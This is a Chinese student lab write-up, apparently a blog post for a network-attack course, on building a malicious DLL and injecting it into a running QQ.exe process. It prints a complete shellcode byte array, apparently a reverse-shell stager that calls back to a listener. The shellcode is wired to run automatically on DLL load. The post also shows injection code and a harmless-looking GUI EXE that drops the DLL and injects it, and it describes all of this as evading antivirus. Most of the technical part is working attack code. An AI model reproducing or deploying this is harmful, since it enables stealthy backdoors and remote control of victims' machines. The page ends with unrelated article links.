20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

一、本节摘要

  • 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻击执行的隐蔽效果。更进一步,结合前面的资源捆绑的方式,还可以实现免杀恶意注入EXE的效果。

  • 目标:

    1. 制作一个恶意DLL(手工免杀方法打造,不会被杀出来)
    2. 通过进程注入的方式,将这个恶意DLL注入到已运行的进程中去
    3. 在进程中编写一个回调函数,一运行就直接执行恶意代码
    4. 将这个恶意DLL直接绑定于我们的注入程序的资源段,封装成一个表面纯良无害的EXE可执行文件
  • 工作环境:

    • Windows 7
  • 最终成果:已全部实现目标


二、实现过程

1·恶意DLL的制作

新建项目win32,应用程序类型选择dll,名称为zkj5314hh:

需要新建几个文件:

其中:

头文件dllgenerator.h,内容:

int Add();//这里选用了Add这个函数名,DLL注入时需要输入调用函数,这个名称比较隐蔽

函数定义文件dllgenerator.cpp,内容:

将免杀代码以一个函数的形式写出来,以供调用,其中要加上必要的头文件。

"dllmain.cpp",定义了入口函数,固定写法

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

注意到DLL_PROCESS_ATTACH:我们对这个函数进行处理的话,就能得到很好的效果。什么用途呢,当然是当这个DLL附着上一个进程时,就可以自然地触发这个回调函数。

立马给他加上后门代码:

case DLL_PROCESS_ATTACH:
{
char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xc7\x76\x68\x02"
"\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5"; DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr = (INT32*)&met; __asm
{
call addr
}

接着进行:

建立源文件"Source.def"

在此文件第一行引号中填项目名称即可,EXPORTS下面列出要生成的函数名称 格式:“名称 @序号”)

点击菜单栏 生成 -> 生成解决方案,我们的动态库就生成成功了

为什么要编写Add()又要实现回调的调用呢。是为了满足我们这个DLL的功用,既可以使用主动调用,也可以被动触发。

这里最后加上了一个弹窗,在成功回连之前会执行,弹窗代码为:

MessageBox(NULL, TEXT("注入成功"), (LPCWSTR)"diudiudiu", MB_ICONERROR);

2·用恶意DLL实现与进程的捆绑

如何实现进程的DLL注入,应该首先找到这个进程,再分配空间,再调整该进程的权限,最后执行DLL。

思路为:

获取该进程的句柄、返回此进程ID →在远程进程的内存地址空间分配DLL空间→打开进程令牌环→调整进程权限→调用该进程

核心代码如下:

	int a;
DWORD thePid;
char* dllPath = "zkj5314hh.dll";//设置路径
BOOL x, y;
//a = EnableDebugPrivilege(SE_DEBUG_NAME);
//printf("a=%d\n", a);
y = SetPrivilege(SE_DEBUG_NAME, TRUE);
thePid = getPid();//获取进程
x = InjectDll(dllPath, thePid);//注入
if (x){
printf("success\n");
}
else{
printf("error\n");
}
return 0;

具体代码就不贴了,查免考时再看。

接下来指定一个进程,以QQ.exe为例子实现攻击。

打开kali端进行监听。这里再编一个弹窗,若执行时会显示一个弹窗(在后一步的具体实战时会去掉)

用process hacker进行监听,在实现注入时,出现了很明显的波动

完成回连。

3·为这个注入程序加上可执行程序的免杀外壳

方法同资源节。

同样做成一个Win32Project工程,同样的方法注入,同样的方法释放,代码贴一些出来。就似乎实现部分的switch语句,起到控制功能:

switch (message){
case WM_CREATE: //创建按钮
{
hInstance = ((LPCREATESTRUCT)lParam)->hInstance;
hwndButton[0] = CreateWindow(_T("BUTTON"), _T("完成注入"),
WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
140, 50, 100, 50, hwnd, NULL,
(HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), NULL);
return 0;
}
case WM_PAINT: //绘制文字
hdc = BeginPaint(hwnd, &ps);
GetClientRect(hwnd, &rect);
DrawText(hdc, TEXT("By:20145314"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_BOTTOM);
EndPaint(hwnd, &ps);
return 0;
case WM_COMMAND: //响应按钮消息
if ((HWND)lParam == hwndButton[0])
{ //释放出PE文件.
//定位自定义资源,返回值是定位到的资源的句柄(注意第一个参数是包含资源的可执行文件的句柄,不要混淆)
HRSRC hRsrc = FindResource(NULL, //包含所需资源的可执行文件句柄,为NULL代表是程序本身的句柄
MAKEINTRESOURCE(IDR_DLL1), //资源ID
_T("DLL")); //资源类型
if (hRsrc == NULL)
{
break;
}
//加载资源到内存中,返回值是相关资源数据的句柄
HGLOBAL hGlobal = LoadResource(NULL, //同上,模块句柄
hRsrc); //定位资源函数的返回值
if (hGlobal == NULL)
{
break;
}
//锁定资源,返回值是指向该资源的内存指针(重要,之后便可以用该指针来进行操作)
LPVOID pBuffer = LockResource(hGlobal); //LoadResource的返回值
if (pBuffer == NULL)
{
break;
}
//获取资源的大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
if (dwSize == 0)
{
break;
}
//测试写到磁盘
FILE *fp;
fopen_s(&fp, "C:\\zkj5314hh.dll", "wb");
if (fp != NULL)
{
//fwrite的三个参数(1,待写入的数据;2、(数据块的大小)每次写的长度;3、数据块的数目;4、文件指针)
//返回值是写入的数据块的个数。
if (fwrite(pBuffer, 1, dwSize, fp) == dwSize)
{
fclose(fp);
}
}
int a;
DWORD thePid;
char* dllPath = "C:\\zkj5314hh.dll";
BOOL x, y;
//a = EnableDebugPrivilege(SE_DEBUG_NAME);
//printf("a=%d\n", a);
y = SetPrivilege(SE_DEBUG_NAME, TRUE);
thePid = getPid();
x = InjectDll(dllPath, thePid);
if (x){
MessageBox(hwnd, _T("注入成功!"), _T("提示"), MB_ICONQUESTION);
}
else{
MessageBox(hwnd, _T("注入失败!"), _T("提示"), MB_ICONQUESTION);
}
return 0;
}
return 0;
case WM_CLOSE: //关闭
if (IDYES == MessageBox(hwnd, _T("是否关闭程序?"), _T("提示"), MB_YESNO | MB_ICONQUESTION))
{
DestroyWindow(hwnd);
}
return 0;
case WM_DESTROY: //退出程序
PostQuitMessage(0);
return 0;
}

简单来说,就是程序是一个窗口,点击按钮会将绑定于EXE中的恶意DLL释放在C盘根目录下。并且,会自动运行注入程序,找到系统中的QQ.exe进程,进行注入,并弹窗提示。

成品EXE。

运行后完成回连:

完成之后如图,打开process monitor监视器:

成功捕捉到其恶意DLL附着在QQ.exe下的动作。实验最终成功。

20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现的更多相关文章

  1. 20145314郑凯杰《网络对抗技术》PE文件病毒捆绑(插入捆绑)的实现

    20145314郑凯杰<网络对抗技术>PE文件病毒捆绑(插入捆绑)的实现 一.本节摘要 简介:每个应用程序内部都有一定的空间(因为文件对齐余留的00字段)可以被利用,这样就可以保证被插入的 ...

  2. 20145314郑凯杰《网络对抗技术》实验9 web安全基础实践

    20145314郑凯杰<网络对抗技术>实验9 web安全基础实践 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET ...

  3. 20145314郑凯杰《网络对抗技术》实验8 WEB基础实践

    20145314郑凯杰<网络对抗技术>实验8 WEB基础实践 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与P ...

  4. 20145314郑凯杰《网络对抗技术》实验5 MSF基础应用

    20145314郑凯杰<网络对抗技术>实验5 MSF基础应用 1.0 MS08_067安全漏洞 1.1 实验目标 了解掌握metasploit平台的一些基本操作,能学会利用已知信息完成简单 ...

  5. 20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    20145314郑凯杰<网络对抗技术>可选实验 shellcode注入与Return-to-libc攻击实验 1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击, ...

  6. 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践

    20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...

  7. 20145314郑凯杰 《Java程序设计》第10周学习总结

    20145314郑凯杰 <Java程序设计>第10周学习总结 代码托管: 学习内容总结 网络编程 会打手机吗? 第一个问题:会打手机吗?很多人可能说肯定会啊,不就是按按电话号码,拨打电话嘛 ...

  8. 20145314郑凯杰 《Java程序设计》实验五 实验报告

    20145314郑凯杰 <Java程序设计>实验五 实验报告 实验搭档王亦徐:http://www.cnblogs.com/1152wyx/p/5471524.html 实验要求 完成实验 ...

  9. 20145314郑凯杰 《Java程序设计》课程总结

    20145314郑凯杰 <Java程序设计>课程总结 每周读书笔记链接汇总 ①寒假预习--"helloworld" ②第一周读书笔记 ③第二周读书笔记 ④第三周读书笔记 ...

随机推荐

  1. stack overflow underflow

    Introduction to algorithms / Thomas H. Cormen...[etal.].—3rded. If we attempt to pop an empty stack, ...

  2. python的几个注意事项

    ,==============坑======= 1.可变类型的值不要作为函数参数默认值,应该是不可变的对象,如None,True,False,数字或字符串 2.小心+= a = range(10) b ...

  3. Linux上Oracle 11g安装步骤图解

    Oracle 11g下载地址: http://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html 选 ...

  4. 洛谷P3209平面图判定 [HNOI2010] 2-sat

    正解:2-sat(并茶几/强连通分量 解题报告: 传送门w 难受死了,连WA5次,正确率又-=INF了QAQ 然后先说下这题怎么做再来吐槽自己QAQ 首先这题其实和NOIp2010的关押罪犯挺像的,然 ...

  5. mysql 约束条件目录

    mysql 约束条件 mysql 约束条件 not null与default mysql 约束条件 unique key 唯一的键 mysql primary key 主键 mysql auto_in ...

  6. linux报错 find: missing argument to `-exec'

    在linux下使用find命令时,报错:find: missing argument to `-exec' 具体执行命令为: find /u03 -name server.xml -exec grep ...

  7. windows使用方法

    1:截图搜索英文单词:snipping tool 2: 修改语言,搜索language 3:关闭fn键,按键 fn+esc(fnlock).  就可以将fn关闭和开启.

  8. Spark DataFrame vector 类型存储到Hive表

    1. 软件版本 软件 版本 Spark 1.6.0 Hive 1.2.1 2. 场景描述 在使用Spark时,有时需要存储DataFrame数据到Hive表中,一般的存储方式如下: // 注册临时表 ...

  9. [svc]ftp协议数据连接的2种模式

    玩明白了以太网2的二层数据格式, ip格式 tcp/udp个时候, 需要玩一玩一些有用的基于这些已上的协议数据了. 如 dhcp ftp等.比较有趣. ftp协议 分控制连接21端口 和数据连接 20 ...

  10. X-Forwarded-For 负载均衡 7 层 HTTP 模式获取来访客户端真实 IP 的方法(IIS/Apache/Nginx/Tomcat)

    https://help.aliyun.com/knowledge_detail/13051859.html?pos=1 1.IIS 6 配置方案2.IIS 7 配置方案3.Apache 配置方案4. ...